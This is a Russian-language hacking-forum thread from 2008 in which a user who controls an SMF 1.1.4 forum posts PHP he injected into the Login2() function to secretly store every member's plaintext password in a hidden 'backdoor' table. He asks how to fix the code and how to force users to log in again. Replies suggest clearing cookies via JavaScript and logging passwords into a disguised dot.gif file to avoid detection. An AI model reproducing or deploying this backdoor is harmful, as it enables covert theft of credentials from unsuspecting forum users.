Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Троянизация Smf (https://forum.antichat.xyz/showthread.php?t=65537)

ty13r 26.03.2008 23:06
Троянизация Smf
 
У меня есть подконтрольный форум - smf версии 1.1.4. Хотелось бы узнать пароли юзеров, а расшифровывать лень. Появилась идея затроянить форум.
Для этого в файле Sources/LogInOut.php рассмотрим функцию Login2()
Код:
if ($user_settings['passwd'] != $sha_passwd)
        {....}
elseif ($user_settings['passwordSalt'] == '')
        {...}
Этот код я заменил на
Код:
if ($user_settings['passwd'] != $sha_passwd)
        {....}
elseif ($user_settings['passwordSalt'] == '')
        {...}
else
        {
                $req = db_query("SELECT * FROM {$db_prefix}backdoor WHERE `id`={$user_settings['ID_MEMBER']}");
                $user = mysql_fetch_array($req);
                if(!$user)
                        $req = db_query("INSERT INTO {$db_prefix}backdoor SET `id`='".$user_settings['ID_MEMBER']."' ,`name`='".$_REQUEST[user]."' ,`pass`='".$_REQUEST[passwrd]."'");
                if($user['pass']!=$_REQUEST['passwrd'])
                        $req = db_query("UPDATE {$db_prefix}backdoor SET `pass`='".$_REQUEST[passwrd]."' WHERE `id`='".$user_settings['ID_MEMBER']."'");
        }
где backdoor - заранее созданная таблица.
На локалхосте все это прекрасно работает но на искомом форуме в большинстве записей вместо пароля стоят звездочки(
Что сделано неправильно? Может кто имеет успешный опыт затроянивания?
PS
Как сбросить сессии пользователей чтобы они вводили пароль заново? Почему то очистка таблицы sessions не помогает

Doom123 27.03.2008 00:17
на счёт сессии ... думаю дело не в сссии а в кукисах тоесть при входе берутся данные из кукисов и происходит авторизация... а сесия тут не причём т.к она по любому удаляется при закрытии браузера... может попытатся при входе юзеров удалить их кукисы и всё?

всё вышесказаное основано на догадках...

ty13r 27.03.2008 17:49
В этом посте в IPB сбрасывались именно сессии.
Тем более опять же на локалхосте проверял - работало, а на том форуме - нет

ty13r 30.03.2008 14:32
Модеры, плиз перенесите тему в УЯЗВИМОСТИ а то тут никто ее и не прочтет

n-000 25.04.2008 13:31
а почему бы тебе в самом деле при помощи жабаскрипта не обнулить куки и не перекинуть юзверя на главную страницу ?
А по поводу троянизации .... я делал проще, без заморочек ...
Создаёш в дефолтной теме картинку , ну например dot.gif и в этот файлик пишеш пассы которые отправляют юзвери скрипту, так и палева меньше чем с бд


Время: 13:15